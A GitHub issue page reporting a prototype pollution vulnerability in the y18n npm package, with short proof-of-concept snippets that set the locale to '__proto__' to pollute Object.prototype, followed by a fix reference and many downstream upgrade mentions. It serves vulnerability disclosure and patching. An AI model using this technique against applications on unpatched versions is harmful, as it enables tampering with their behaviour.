

New issue

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Prototype pollution #96

 po6ix opened this issue on Aug 5, 2020 · 1 comment · Fixed by #108

Labels bug security

po6ix commented on Aug 5, 2020 · edited


POC

```
const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true
```

 3  2

 bcoe added bug security labels on Sep 5, 2020

joagmauricio commented on Oct 14, 2020

To complement po6ix report (and using the simple string translation example):

```
const __ = require('y18n')({locale: '__proto__'}).__;

console.log(__('my awesome string %s', 'foo'));
console.log({['my awesome string %s']} // my awesome string %s

console.log(__('true'));
console.log({}.true) // true
```

If the locale is set to __proto__, all subsequent translations will result in object pollution.

 1

 bcoe mentioned this issue on Oct 24, 2020

fix: address prototype pollution issue #108




bcoe closed this as completed in #108 on Oct 25, 2020

 DarthHater mentioned this issue on Nov 2, 2020

chore: upgrade y18n to 5.0.5 to address prototype pollution issue yargs/yargs#1795



 xiniria mentioned this issue on Nov 19, 2020

Vulnerability in y18n (prototype pollution) lirantal/lockfile-lint#99



 jef1771 mentioned this issue on Dec 1, 2020

Update NPM registry to have latest dependencies (specifically yargs/y18n) facebook/jest#10897



 nehalilani mentioned this issue on Dec 1, 2020

Bumped y18n package version to 5.0.5 microsoft/Learn-LTI#104



 AhmedAbdoOrtiga mentioned this issue on Dec 1, 2020

Using resolutions to update y18n microsoft/accessibility-insights-action#346



 4 tasks

This was referenced on Apr 29, 2021

Security vulnerability: Update y18n to 5.0.5 or later bazelbuild/codelabs#40

Open

Security vulnerability: Update y18n to 5.0.5 or later bazelbuild/rules_nodejs#2641

Closed

debricked-staging (bot) mentioned this issue on Jun 18, 2021

Bulk vulnerability fix - Lockfile fix philomather/test-vue#3

Open

debricked (bot) mentioned this issue on Jul 1, 2021

Bulk vulnerability fix - Lockfile fix debricked/a-wild-button-appears#1

Open

debricked (bot) mentioned this issue on Jul 9, 2021

Bulk vulnerability fix - Lockfile fix WeDoSoftware/webAppBackend#253

Open

github-actions (bot) mentioned this issue on May 11

CVE-2020-7774 - high detected in y18n rhicksi91/goof#233

Closed

allengayCx mentioned this issue on May 27

CVE-2020-7774 @ Npm-y18n-3.2.1 allengayCx/nodegoat#133

Open

CMaheshBL mentioned this issue on May 6

CVE-2020-7774 @ Npm-y18n-3.2.1 CMaheshBL/NodeGoat#152

Open

debricked (bot) mentioned this issue on Jun 15

Fix CVE-2020-7774 emilwareus/kleros#10

Open

github-actions (bot) mentioned this issue on Aug 1

CVE-2020-7774 - high detected in y18n[3.2.1] rhicksi91/goof#318

Open

debricked-staging (bot) mentioned this issue on Sep 12

Fix CVE-2020-7774 InternalBenchmarkDebricked/vue-resource#13

Closed

debricked-staging (bot) mentioned this issue on Nov 7

How about again! InternalBenchmarkDebricked/vue-resource#26

Open

Assignees

No one assigned

Labels

bug security

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

fix: address prototype pollution issue
yargs/y18n

4 participants

